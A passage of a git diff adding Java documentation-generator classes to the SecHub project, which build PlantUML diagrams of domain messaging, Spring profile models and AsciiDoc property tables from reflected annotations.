: domainParts) { + if (domain.name.equals(name)) { + return domain; + } + } + DomainPart domainPart = new DomainPart(); + domainPart.name = name; + domainParts.add(domainPart); + return domainPart; + } + + @Override + public String toString() { + return "Domain:" + name; + } + + public DomainPart newDomainPart() { + return new DomainPart(); + } + } + + class DomainPart { + String name; + + List sendingAsyncMessages = new ArrayList<>(); + List sendingSyncMessages = new ArrayList<>(); + List sendingSyncMessageAnswers = new ArrayList<>(); + + List receivingAsyncMessages = new ArrayList<>(); + List recevingSyncMessages = new ArrayList<>(); + + Set involvedWithMessages = new TreeSet<>(); + + @SuppressWarnings("unchecked") + public void addMessageInfo(T info) { + if (DEBUG) { + LOG.info("adding:{}", info); + } + Class clazz = info.getClass(); + clazz = resolveUnproxiedClass(clazz); + List all = new ArrayList<>(); + if (clazz.equals(IsSendingSyncMessageAnswers.class)) { + IsSendingSyncMessageAnswers answers = (IsSendingSyncMessageAnswers) info; + for (IsSendingSyncMessageAnswer answer : answers.value()) { + markContaining(answer); + all.add((T) answer); + } + } else if (clazz.equals(IsRecevingSyncMessages.class)) { + IsRecevingSyncMessages answers = (IsRecevingSyncMessages) info; + for (IsRecevingSyncMessage answer : answers.value()) { + markContaining(answer); + all.add((T) answer); + } + } else if (clazz.equals(IsSendingAsyncMessages.class)) { + IsSendingAsyncMessages answers = (IsSendingAsyncMessages) info; + for (IsSendingAsyncMessage answer : answers.value()) { + markContaining(answer); + all.add((T) answer); + } + } else { + markContaining(info); + all.add(info); + } + Class targetClazz = all.iterator().next().getClass(); + @SuppressWarnings("rawtypes") + List list = fetchList(targetClazz); + if (DEBUG) { + LOG.info("using list for target clazz:{}", targetClazz); + } + /* hack ... because generic warnings . but works... */ + for (T toAdd : all) { + list.add(toAdd); + } + if (DEBUG) { + LOG.info(">>> list now::{}", list); + } + } + + private void markContaining(T info) { + Class clazz = DocReflectionUtil.resolveUnproxiedClass(info.getClass()); + try { + Object result = clazz.getMethod("value").invoke(info); + if (result instanceof MessageID) { + MessageID messageId = (MessageID) result; + involvedWithMessages.add(messageId); + }else { + throw new IllegalStateException(clazz.getSimpleName()+".value() must return a MessageId instance!"); + } + } catch (Exception e) { + throw new IllegalStateException("must have access to "+clazz.getSimpleName()+".value()!"); + } + } + + @SuppressWarnings("unchecked") + public List fetchList(Class clazz) { + Class anno = resolveUnproxiedClass(clazz); + if (anno.isAssignableFrom(IsSendingAsyncMessage.class)) { + return (List) sendingAsyncMessages; + } else if (anno.isAssignableFrom(IsSendingSyncMessage.class)) { + return (List) sendingSyncMessages; + } else if (anno.isAssignableFrom(IsSendingSyncMessageAnswer.class)) { + return (List) sendingSyncMessageAnswers; + } else if (anno.isAssignableFrom(IsReceivingAsyncMessage.class)) { + return (List) receivingAsyncMessages; + } else if (anno.isAssignableFrom(IsRecevingSyncMessage.class)) { + return (List) recevingSyncMessages; + } + throw new IllegalArgumentException("Domain message model does not handle:" + anno); + } + + @Override + public String toString() { + return "DomainPart:" + name; + } + + public boolean isHandlingAtLeastOneOf(MessageID[] messageIDs) { + for (MessageID id : messageIDs) { + if (this.involvedWithMessages.contains(id)) { + return true; + } + } + return false; + } + } + + /** + * Will return normally the value. but for sync answering the reason for the + * answer will be returned! + * + * @param anno + * @return + */ + public MessageID getMessageIdToSearchFor(T anno) { + if (anno instanceof IsSendingAsyncMessage) { + return ((IsSendingAsyncMessage) anno).value(); + } else if (anno instanceof IsSendingSyncMessage) { + return ((IsSendingSyncMessage) anno).value(); + } else if (anno instanceof IsSendingSyncMessageAnswer) { + return ((IsSendingSyncMessageAnswer) anno).answeringTo(); + } else if (anno instanceof IsReceivingAsyncMessage) { + return ((IsReceivingAsyncMessage) anno).value(); + } else if (anno instanceof IsRecevingSyncMessage) { + return ((IsRecevingSyncMessage) anno).value(); + } + throw new IllegalArgumentException("Not handling:" + anno); + } + + public Domain ensureDomain(String name) { + for (Domain domain : domains) { + if (domain.name.equals(name)) { + return domain; + } + } + Domain domain = new Domain(); + domain.name = name; + domains.add(domain); + return domain; + } + + public List> createDomainPartMessageInfos(Class clazz, + MessageID messageId) { + List> list = new ArrayList<>(); + for (Domain domain : domains) { + for (DomainPart domainPart : domain.domainParts) { + updateGivenDomainPartMessageInfoList(clazz, messageId, list, domain, domainPart); + } + } + return list; + } + + private void updateGivenDomainPartMessageInfoList(Class clazz, MessageID messageId, + List> list, Domain domain, DomainPart domainPart) { + List receiverClazzList = domainPart.fetchList(clazz); + if (DEBUG) { + LOG.info(" >enter:{},{}, found:{}", domain, domainPart, list); + } + for (T receiverClazz : receiverClazzList) { + MessageID foundMessageId = getMessageIdToSearchFor(receiverClazz); + boolean sameMessageId = foundMessageId == messageId; + if (sameMessageId) { + DomainPartMessageInfo info = new DomainPartMessageInfo<>(); + info.messageInfo = receiverClazz; + info.part = domainPart; + if (receiverClazz instanceof IsSendingSyncMessageAnswer) { + IsSendingSyncMessageAnswer answer = (IsSendingSyncMessageAnswer) receiverClazz; + info.messageId = answer.value(); + info.answeringTo = answer.answeringTo(); + info.branchName = answer.branchName(); + } else { + info.messageId = messageId; + } + list.add(info); + } + } + } + + public class DomainPartMessageInfo { + DomainPart part; + T messageInfo; + MessageID messageId; + MessageID answeringTo; + String branchName; + } + + public Domain newDomain() { + return new Domain(); + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModelDataCollector.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModelDataCollector.java new file mode 100644 index 0000000000..038412b7bf --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModelDataCollector.java @@ -0,0 +1,96 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.messaging; + +import static com.daimler.sechub.docgen.GeneratorConstants.*; +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.lang.annotation.Annotation; +import java.lang.reflect.Method; +import java.util.Set; + +import org.reflections.Reflections; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.docgen.messaging.DomainMessagingModel.Domain; +import com.daimler.sechub.docgen.messaging.DomainMessagingModel.DomainPart; +import com.daimler.sechub.sharedkernel.messaging.DomainMessaging; + +/** + * Collector - inspired by + * https://github.com/de-jcup/code2doc/blob/master/code2doc-core/src/main/java/de/jcup/code2doc/core/internal/collect/TechInfoLinkAnnotationDataCollector.java + * + * @author Albert Tregnaghi + */ +public class DomainMessagingModelDataCollector { + + private static final String COM_DAIMLER_SECHUB_DOMAIN = "com.daimler.sechub.domain"; + + private static final Logger LOG = LoggerFactory.getLogger(DomainMessagingModelDataCollector.class); + + private Reflections reflections; + + public DomainMessagingModelDataCollector(Reflections reflections) { + notNull(reflections, "reflections must not be null!"); + this.reflections = reflections; + } + + @SuppressWarnings("unchecked") + public DomainMessagingModel collect() { + if (DEBUG) { + LOG.info("start collecting"); + } + DomainMessagingModel model = new DomainMessagingModel(); + Set> toCollect = reflections.getTypesAnnotatedWith(DomainMessaging.class); + if (DEBUG) { + LOG.info("> will collect for:{} - {}", toCollect.size(),toCollect); + } + for (Class clazz : toCollect) { + collectAnnotationInfo(model, (Class) clazz); + } + + return model; + } + + private void collectAnnotationInfo(DomainMessagingModel model, Class annoClass) { + if (DEBUG) { + LOG.info("start collecting annotation info:{}", annoClass); + } + Set methodsAnnotated = reflections.getMethodsAnnotatedWith(annoClass); + if (DEBUG) { + LOG.info("found methods annotated with:{} - {}", annoClass,methodsAnnotated); + } + for (Method method : methodsAnnotated) { + T[] annosFound = method.getAnnotationsByType(annoClass); + Domain domain = model.ensureDomain(createDomainName(method)); + DomainPart domainPart = domain.ensureDomainPart(createDomainPartName(method)); + for (T message : annosFound) { + domainPart.addMessageInfo(message); + } + } + } + + static String createDomainPartName(Method method) { + return method.getDeclaringClass().getSimpleName(); + } + + /* something like com.daimler.sechub.domain.xyz.abc is represented as xyz only*/ + static String createDomainName(Method method) { + String fullName = method.getDeclaringClass().getPackage().getName(); + String name = fullName; + int index = name.indexOf(COM_DAIMLER_SECHUB_DOMAIN); + int amountOfcharsToSkip = COM_DAIMLER_SECHUB_DOMAIN.length()+1; + if (index!=-1 && name.length()>amountOfcharsToSkip) { + name = name.substring(amountOfcharsToSkip); + } + index = name.indexOf('.'); + if (index!=-1) { + name=name.substring(0, index); + } + if (name.trim().isEmpty()) { + name=fullName; + } + return name; + } + +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModelPlantUMLGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModelPlantUMLGenerator.java new file mode 100644 index 0000000000..c568f54718 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModelPlantUMLGenerator.java @@ -0,0 +1,275 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.messaging; + +import java.lang.annotation.Annotation; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.docgen.Generator; +import com.daimler.sechub.docgen.GeneratorConstants; +import com.daimler.sechub.docgen.messaging.DomainMessagingModel.Domain; +import com.daimler.sechub.docgen.messaging.DomainMessagingModel.DomainPart; +import com.daimler.sechub.docgen.messaging.DomainMessagingModel.DomainPartMessageInfo; +import com.daimler.sechub.sharedkernel.messaging.IsReceivingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsSendingSyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsSendingSyncMessageAnswer; +import com.daimler.sechub.sharedkernel.messaging.MessageID; + +public class DomainMessagingModelPlantUMLGenerator implements Generator { + + private static final String EVENT_BUS_ID = "EventBus"; + + private static final String MESSAGE_WITH_ID = "message with id "; + + private static final Logger LOG = LoggerFactory.getLogger(DomainMessagingModelPlantUMLGenerator.class); + + public String generate(DomainMessagingModel model, String title, MessageID[] messageIDs, boolean onlyWithGivenMessageIds) { + Context context = new Context(); + context.model=model; + + context.addLine("@startuml"); + context.addLine("\n"); + context.addLine("title "+title); + context.addLine("\n"); + context.addLine("control "+EVENT_BUS_ID); + + boolean alternate=false; + for (Domain domain: model.domains) { + alternate=!alternate; + String data = "box \""+domain.name+"\" "; + // see https://www.w3schools.com/colors/colors_names.asp + if (alternate) { + data+= "#C8C8CF"; + }else { + data+= "#F8F8FF";//#Ghostwhite + } + context.addLine(data);//#LightBlue + for (DomainPart part: domain.domainParts) { + if (onlyWithGivenMessageIds && ! part.isHandlingAtLeastOneOf(messageIDs)) { + continue; + } + context.addLine(" participant "+part.name); + } + context.addLine("end box"); + } + + for (MessageID messageId : messageIDs) { + context.messageId=messageId; + debug("INSPECT:" + messageId); + generateMessage(context); + } + context.addLine("\n"); + context.addLine("@enduml"); + + return context.sb.toString(); + } + + private void debug(String string) { + if (!GeneratorConstants.DEBUG) { + return; + } + LOG.info(string); + + } + + private class Context{ + private Set unused = new HashSet<>(); + private DomainMessagingModel model; + private MessageID messageId; + private StringBuilder sb = new StringBuilder(); + private StringBuilder tryoutSb=new StringBuilder(); + private StringBuilder originSb; + private void addLine(String text) { + sb.append(text).append("\n"); + } + public void markCurrentMessageIdAsUnused() { + unused.add(messageId); + } + public void startTryoutMode() { + this.originSb = sb; + tryoutSb = new StringBuilder(); + sb=tryoutSb; + } + + public void endTryoutMode() { + this.sb=originSb; + } + + public String getTryoutResult() { + return tryoutSb.toString(); + } + } + + private void generateMessage(Context context) { + boolean isSendingSync = handleSync(context); + boolean isSendingAsync = handleAsync(context); + if (isSendingSync && isSendingAsync) { + String message = MESSAGE_WITH_ID + context.messageId + + " is already send synchronous but is handled also async way?!?!?"; + handleValidationError(message); + }else if (!isSendingAsync && !isSendingSync) { + /* not handled at all*/ + context.markCurrentMessageIdAsUnused(); + } + + + + } + + private boolean handleAsync(Context context) { + List> sendAsyncs = assertValid( + context.model.createDomainPartMessageInfos(IsSendingAsyncMessage.class, context.messageId)); + List> receiveAsync = assertValid( + context.model.createDomainPartMessageInfos(IsReceivingAsyncMessage.class, context.messageId)); + context.startTryoutMode(); + /* asynchronous messaging */ + boolean asyncHandled = false; + for (DomainPartMessageInfo sendAsync : sendAsyncs) { + sendToEventBus(context.sb, sendAsync.part.name, sendAsync.messageId,false); + asyncHandled = true; + } + for (DomainPartMessageInfo receivedAsync : receiveAsync) { + sendFromEventBus(context.sb, receivedAsync.part.name, receivedAsync.messageId.name(),false,false); + asyncHandled = true; + } + context.endTryoutMode(); + if (asyncHandled) { + context.addLine("autonumber 1"); + context.sb.append(context.getTryoutResult()); + context.addLine("autonumber stop"); + } + return asyncHandled; + } + + private boolean handleSync(Context context) { + context.startTryoutMode(); + + List> sendSync = assertValid( + context.model.createDomainPartMessageInfos(IsSendingSyncMessage.class, context.messageId), 1); + + List> sendsSyncMessageAnswer = assertValid( + context.model.createDomainPartMessageInfos(IsSendingSyncMessageAnswer.class, context.messageId), 1); + boolean isSendingSync = false; + /* synchronouos way */ + for (DomainPartMessageInfo syncQuestion : sendSync) { + sendToEventBus(context.sb, syncQuestion.part.name, syncQuestion.messageId,true); + isSendingSync = true; + } + boolean isAnsweringSync = handleSendSynchronMessageIntoEventBus(sendsSyncMessageAnswer, context); + handleSendSynchronMessageBackFromEventBus(context, sendSync, isSendingSync, isAnsweringSync); + + context.endTryoutMode(); + if (isSendingSync) { + context.addLine("autonumber 1"); + context.sb.append(context.getTryoutResult()); + context.addLine("autonumber stop"); + } + + return isSendingSync; + } + + private boolean handleSendSynchronMessageIntoEventBus( + List> sendsSyncMessageAnswer, Context context) { + boolean isAnsweringSync = false; + boolean syncFromEventBusDone = false; + int maxBranch = sendsSyncMessageAnswer.size(); + boolean branches = maxBranch > 1; + int branchCount = 0; + for (DomainPartMessageInfo syncAnswer : sendsSyncMessageAnswer) { + if (!syncFromEventBusDone) { + sendFromEventBus(context.sb, syncAnswer.part.name, syncAnswer.answeringTo.name(),true,false); + syncFromEventBusDone = true; + } + if (branches) { + if (branchCount == 0) { + context.addLine("alt " + syncAnswer.branchName); + } else { + context.addLine("else " + syncAnswer.branchName); + } + branchCount++; + } + sendToEventBus(context.sb, syncAnswer.part.name, syncAnswer.messageId,true); + if (branches && maxBranch == branchCount) { + context.addLine("end"); + } + isAnsweringSync = true; + } + return isAnsweringSync; + } + + private void handleSendSynchronMessageBackFromEventBus(Context context, List> sendSync, boolean isSendingSync, + boolean isAnsweringSync) { + if (isAnsweringSync && isSendingSync) { + for (DomainPartMessageInfo syncQuestion : sendSync) { + sendFromEventBus(context.sb, syncQuestion.part.name, ""/*"result of:" + syncQuestion.messageId*/,true,true); + } + } else { + if (isAnsweringSync) { + String message = MESSAGE_WITH_ID + context.messageId + " is answered for sync, but nobody sends it !?!?"; + handleValidationError(message); + } else if (isSendingSync) { + String message = MESSAGE_WITH_ID + context.messageId + " is send sync, but nobody answers it !?!?"; + handleValidationError(message); + } else { + /* just ignore. if so the message is just not handled synchron but maybe only asynchronus*/ + } + } + } + + private void handleValidationError(String message) { + LOG.warn("NOT VALID:{}", message); + } + + private void sendToEventBus(StringBuilder sb, String sender, MessageID messageID, boolean synchron) { + sb.append(sender); + sb.append(" -"); + if (!synchron) { + sb.append(">>"); + }else { + sb.append(">"); + } + sb.append(" ").append(EVENT_BUS_ID).append(":").append(messageID.name()).append("\n"); + } + + private void sendFromEventBus(StringBuilder sb, String name, String end, boolean synchron, boolean backward) { + sb.append(EVENT_BUS_ID); + sb.append(" "); + + if (backward) { + sb.append("-"); + } + sb.append("-"); + if (!synchron) { + sb.append(">>"); + }else { + sb.append(">"); + } + sb.append(" ").append(name).append(":").append(end).append("\n"); + } + + private List> assertValid(List> list) { + return assertValid(list, -1); + } + + private List> assertValid(List> list, + int maximum) { + int size = list.size(); + if (size == 0) { + return list; + } + if (maximum > size) { + MessageID messageId = list.iterator().next().messageId; + String message = "too many calls for " + messageId + " max=" + maximum + ", reached:" + size; + handleValidationError(message); + } + return list; + } + + + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ListedProfile.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ListedProfile.java new file mode 100644 index 0000000000..4f4bc801da --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ListedProfile.java @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import java.io.File; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +public class ListedProfile { + String name; + + List includedProfiles = new ArrayList<>(); + List configFiles = new ArrayList<>(); + + public ListedProfile(String profileName) { + this.name=profileName; + } + + public String getLabel() { + String label = name; + if (isBaseProfile()) { + label= "default"; + } + return label.replaceAll("-", "_"); + } + + public String getName() { + return name; + } + + public static String calculateProfileName(File file) { + return calculateProfileName(file.getName()); + } + + + public static String calculateProfileName(String name) { + int pointIndex = name.indexOf('.'); + if (pointIndex==-1) { + return "unknown"; + } + String sub = name.substring(0,pointIndex); + if (!sub.startsWith("application")) { + return "unknown-"+sub; + } + int length = "application".length(); + if (sub.length()==length) { + return ""; + } + String withoutApplication = sub.substring(length); + if (withoutApplication.length()==0) { + return ""; + } + return withoutApplication.substring(1); + } + + public static boolean isPropertyFile(File file) { + return isPropertyFile(file.getName()); + } + + + public static boolean isPropertyFile(String name) { + if (name==null) { + return false; + } + return name.endsWith(".properties"); + } + + public static boolean isYaml(File file) { + return isYaml(file.getName()); + } + + + public static boolean isYaml(String name) { + if (name==null) { + return false; + } + return name.endsWith(".yml")|| name.endsWith(".yaml"); + } + + public boolean isBaseProfile() { + return "".contentEquals(name); + } + + @Override + public int hashCode() { + return Objects.hash(name); + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ListedProfile other = (ListedProfile) obj; + return Objects.equals(name, other.name); + } + +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ListedProfileModel.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ListedProfileModel.java new file mode 100644 index 0000000000..a9b819c26d --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ListedProfileModel.java @@ -0,0 +1,186 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; + +import com.daimler.sechub.docgen.spring.SpringProfilesPlantumlGenerator.SpringProfileGenoConfig; + +public class ListedProfileModel { + List profiles = new ArrayList<>(); + List errorMessages = new ArrayList<>(); + + public void add(File configFile) { + String profileName = ListedProfile.calculateProfileName(configFile); + ListedProfile found = null; + + for (ListedProfile profile : this.profiles) { + if (profile.getName().equals(profileName)) { + found = profile; + break; + } + } + if (found == null) { + found = new ListedProfile(profileName); + this.profiles.add(found); + } + found.configFiles.add(configFile); + + } + + public void calculate(SpringProfileGenoConfig config) { + /* add includes */ + buildModelRelations(config); + filter(config); + + } + + private void filter(SpringProfileGenoConfig config) { + if (config.isOverviewGeneration()) { + /* we do not filter anything */ + return; + } + /* ++++++++++++++++++++++++++++++++++++++++++++++++++++ */ + /* + ................Find filter profile............. + */ + /* ++++++++++++++++++++++++++++++++++++++++++++++++++++ */ + ListedProfile filterProfile = null; + for (ListedProfile profile : new ArrayList<>(profiles)) { + if (isFilteredProfile(config, profile)) { + filterProfile = profile; + break; + } + } + if (filterProfile == null) { + throw new IllegalStateException("Cannot filter for non existing profile:" + config.getFilteredProfile()); + } + /* ++++++++++++++++++++++++++++++++++++++++++++++++++++ */ + /* + ................Remaining....................... + */ + /* ++++++++++++++++++++++++++++++++++++++++++++++++++++ */ + Set remaining = new LinkedHashSet<>(); + addRecursive(remaining, filterProfile); + // add satelites + Set sateliteProfiles = config.getSateliteProfiles(); + for (ListedProfile profile : profiles) { + if (sateliteProfiles.contains(profile.getName())){ + remaining.add(profile); + } + } + + /* ++++++++++++++++++++++++++++++++++++++++++++++++++++ */ + /* + ................Remove others................... + */ + /* ++++++++++++++++++++++++++++++++++++++++++++++++++++ */ + for (ListedProfile profile : new ArrayList<>(profiles)) { + if (!remaining.contains(profile) && !profile.isBaseProfile()) { + profiles.remove(profile); + } + } + + } + + private void addRecursive(Set remaining, ListedProfile profile) { + remaining.add(profile); + for (ListedProfile child : profile.includedProfiles) { + addRecursive(remaining, child); + } + + } + + private void buildModelRelations(SpringProfileGenoConfig config) { + ListedProfile baseProfile = ensureProfile(""); + ensureProfile("test"); + for (ListedProfile profile : profiles) { + handleProfile(profile); + } + for (ListedProfile profile : profiles) { + if (profile == baseProfile) { + continue; + } + if (config.isLinkingAlwaysToDefaultProfile() || isFilteredProfile(config,profile)) { + profile.includedProfiles.add(baseProfile); + } + } + } + + private boolean isFilteredProfile(SpringProfileGenoConfig config, ListedProfile profile) { + if (config.getFilteredProfile()==null) { + return false; + } + if (config.getFilteredProfile().equals(profile.getName())){ + return true; + } + return false; + } + + private ListedProfile ensureProfile(String profileName) { + /* add include of "" to all other */ + ListedProfile baseProfile = null; + for (ListedProfile profile : profiles) { + if (profile.getName().contentEquals(profileName)) { + baseProfile = profile; + } + } + if (baseProfile == null) { + baseProfile = new ListedProfile(profileName); + profiles.add(baseProfile); + } + return baseProfile; + } + + private void handleProfile(ListedProfile profile) { + for (File file : profile.configFiles) { + if (!ListedProfile.isYaml(file)) { + continue; + } + try { + List lines = Files.readAllLines(file.toPath()); + for (Iterator it = lines.iterator(); it.hasNext();) { +// spring.profiles.include: + // -... name + String line = it.next(); + if (!line.trim().contentEquals("spring.profiles.include:")) { + continue; + } + boolean doneEvenWhenIteratorHasNext = false; + while (it.hasNext()) { + String l = it.next().trim(); + if (!l.startsWith("-")) { + doneEvenWhenIteratorHasNext = true; + break; + } + String profileName = l.substring(1).trim(); + ListedProfile profileToInclude = null; + for (ListedProfile incProfile : this.profiles) { + if (incProfile.getName().contentEquals(profileName)) { + profileToInclude = incProfile; + break; + } + } + if (profileToInclude != null) { + profile.includedProfiles.add(profileToInclude); + } else { + String message = "Include profile not found:" + profileName; + SpringProfilesPlantumlGenerator.LOG.error(message); + addError(message); + } + + } + if (doneEvenWhenIteratorHasNext) { + break; + } + } + } catch (IOException e) { + throw new IllegalStateException("Cannot read lines of " + file); + } + } + } + + private void addError(String message) { + errorMessages.add(message); + } +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java new file mode 100644 index 0000000000..73e83b8bcd --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java @@ -0,0 +1,139 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import java.util.List; +import java.util.Map; +import java.util.SortedSet; +import java.util.TreeMap; +import java.util.TreeSet; + +import org.springframework.util.StringUtils; + +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.Generator; +import com.daimler.sechub.docgen.spring.SpringValueExtractor.SpringValue; +import com.daimler.sechub.docgen.util.ClasspathDataCollector; + +class MockPropertiesDescriptionGenerator implements Generator{ + + SpringValueExtractor springValueExtractor; + + public MockPropertiesDescriptionGenerator() { + this.springValueExtractor = new SpringValueExtractor(); + } + + public String generate(ClasspathDataCollector collector) { + if (collector == null) { + return ""; + } + List list = collector.fetchMustBeDocumentParts(); + if (list == null || list.isEmpty()) { + return ""; + } + StringBuilder sb = new StringBuilder(); + Map> rowMap = new TreeMap<>(); + for (DocAnnotationData data : list) { + if (StringUtils.isEmpty(data.springValue)) { + continue; + } + SpringValue extracted = springValueExtractor.extract(data.springValue); + TableRow row = new TableRow(); + row.defaultValue = extracted.getDefaultValue(); + row.propertyKey = extracted.getKey(); + row.description = data.description; + + SortedSet rows = rowMap.get(data.scope); + if (rows == null) { + rows = new TreeSet<>(); + rowMap.put(data.scope, rows); + } + rows.add(row); + } + if (rowMap.isEmpty()) { + return ""; + } + for (Map.Entry> entries : rowMap.entrySet()) { + SortedSet table = entries.getValue(); + + sb.append("[options=\"header\",cols=\"1,1,1\"]\n"); + sb.append(".").append(buildTitle(entries.getKey())); + sb.append("\n|===\n"); + sb.append("|Key |Default |Description \n"); + sb.append("//----------------------\n"); + for (TableRow row : table) { + sb.append("|").append(row.propertyKey); + sb.append("|").append(row.defaultValue); + sb.append("|").append(row.description); + sb.append("\n"); + } + sb.append("\n|===\n\n"); + } + return sb.toString(); + } + + private String buildTitle(String key) { + return "Scope '" + key + "'"; + } + + private class TableRow implements Comparable { + String propertyKey; + String defaultValue; + String description; + + @Override + public int compareTo(TableRow o) { + return getPropertyKey().compareTo(o.getPropertyKey()); + } + + public String getPropertyKey() { + if (propertyKey == null) { + return ""; + } + return propertyKey; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + getOuterType().hashCode(); + result = prime * result + ((defaultValue == null) ? 0 : defaultValue.hashCode()); + result = prime * result + ((description == null) ? 0 : description.hashCode()); + result = prime * result + ((propertyKey == null) ? 0 : propertyKey.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + TableRow other = (TableRow) obj; + if (!getOuterType().equals(other.getOuterType())) + return false; + if (defaultValue == null) { + if (other.defaultValue != null) + return false; + } else if (!defaultValue.equals(other.defaultValue)) + return false; + if (description == null) { + if (other.description != null) + return false; + } else if (!description.equals(other.description)) + return false; + if (propertyKey == null) { + if (other.propertyKey != null) + return false; + } else if (!propertyKey.equals(other.propertyKey)) + return false; + return true; + } + + private MockPropertiesDescriptionGenerator getOuterType() { + return MockPropertiesDescriptionGenerator.this; + } + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java new file mode 100644 index 0000000000..14404f94a3 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; + +import org.reflections.Reflections; +import org.springframework.beans.factory.annotation.Value; + +import com.daimler.sechub.adapter.mock.MockedAdapter; +import com.daimler.sechub.adapter.mock.MockedAdapterSetupService; +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.util.DocGeneratorUtil; + +/** + * Collector - inspired by + * https://github.com/de-jcup/code2doc/blob/master/code2doc-core/src/main/java/de/jcup/code2doc/core/internal/collect/TechInfoLinkAnnotationDataCollector.java + * + * @author Albert Tregnaghi + */ +public class MockedAdaptersSpringValueDataCollector { + + private Reflections reflections; + + public MockedAdaptersSpringValueDataCollector(Reflections reflections) { + notNull(reflections, "reflections must not be null!"); + this.reflections = reflections; + } + + public List collect() { + + List list = new ArrayList<>(); + addWithGenerics(reflections.getSubTypesOf(MockedAdapter.class), list); + addClassOnly(Collections.singleton(MockedAdapterSetupService.class), list); + + return list; + + } + + private void addWithGenerics(@SuppressWarnings("rawtypes") Set> types, List list) { + /* messing around with java generics and compiler warnings . so linked hashset as workaround */ + addClassOnly(new LinkedHashSet<>(types),list); + } + + private void addClassOnly(Set> types, List list) { + for (Class type : types) { + Set methods = buildMethods(type); + Set fields = buildFields(type); + + /* handle class annotations */ + Value info0 = type.getDeclaredAnnotation(Value.class); + if (info0 != null) { + DocAnnotationData data0 = DocGeneratorUtil.buildDataBy(info0, type); + data0.linkedClass = type; + list.add(data0); + } + + /* handle method annotations */ + for (Method method : methods) { + Value info1 = method.getDeclaredAnnotation(Value.class); + if (info1 == null) { + continue; + } + DocAnnotationData data1 = DocGeneratorUtil.buildDataBy(info1, method); + data1.linkedMethod = method; + + list.add(data1); + } + + /* handle field annotations */ + for (Field field : fields) { + Value info2 = field.getDeclaredAnnotation(Value.class); + if (info2 == null) { + continue; + } + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + data2.linkedField = field; + list.add(data2); + } + + } + } + + private Set buildFields(Class adapter) { + Set set = new LinkedHashSet<>(); + Field[] fields = adapter.getDeclaredFields(); + for (Field field : fields) { + Value annotation = field.getAnnotation(Value.class); + if (annotation != null) { + set.add(field); + } + } + return set; + } + + private Set buildMethods(Class adapter) { + Set set = new LinkedHashSet<>(); + Method[] methods = adapter.getDeclaredMethods(); + for (Method method : methods) { + Value annotation = method.getAnnotation(Value.class); + if (annotation != null) { + set.add(method); + } + } + return set; + } + + + + +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java new file mode 100644 index 0000000000..82fb687764 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java @@ -0,0 +1,149 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import java.util.List; +import java.util.Map; +import java.util.SortedSet; +import java.util.TreeMap; +import java.util.TreeSet; + +import 